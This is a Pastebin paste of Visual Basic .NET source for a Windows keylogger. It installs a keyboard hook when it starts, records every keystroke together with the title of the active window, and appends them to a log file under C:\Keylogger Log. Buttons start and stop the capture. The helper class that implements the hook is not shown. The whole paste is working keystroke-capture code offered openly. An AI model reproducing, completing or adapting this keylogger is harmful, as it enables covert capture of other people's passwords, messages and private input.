Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports Microsoft.Win32
- Public Class Form1
- Dim WithEvents K As New Keyboard
- Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 ' This was the missing int32.
- Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal ipstring As String, ByVal cch As Int32) As Int32
- Dim strin As String = Nothing
- Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
- K.DiposeHook()
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- TextBox1.Text = TextBox1.Text + Now()
- IO.Directory.CreateDirectory("C:\Keylogger Log")
- IO.File.AppendAllText("C:\Keylogger Log\log.txt", vbNewLine + "------------------------------------------------------------------" + vbNewLine + "Keylogged Strokes - " + Now() + vbNewLine + "------------------------------------------------------------------" + vbNewLine)
- K.CreateHook()
- Timer1.Start()
- End Sub
- Private Sub K_Down(ByVal Key As String) Handles K.Down
- TextBox1.Text &= Key
- IO.File.AppendAllText("C:\Keylogger Log\log.txt", Key)
- End Sub
- Private Function GetActiveWindowTitle() As String
- Dim MyStr As String
- MyStr = New String(Chr(0), 100)
- GetWindowText(GetForegroundWindow, MyStr, 100) 'Error at this line says: MarshalDirectiveException was unhandled 'PInvoke restriction: cannot return variants, this was due to a missing "int32".
- MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
- Return MyStr
- End Function
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- If strin <> GetActiveWindowTitle() Then
- TextBox1.Text = TextBox1.Text + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine
- IO.File.AppendAllText("C:\Keylogger Log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
- strin = GetActiveWindowTitle()
- End If
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- K.CreateHook()
- Timer1.Start()
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- K.DiposeHook()
- Timer1.Stop()
- End Sub
- Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
- IO.File.AppendAllText("C:\Keylogger Log\log.txt", TextBox1.Text)
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement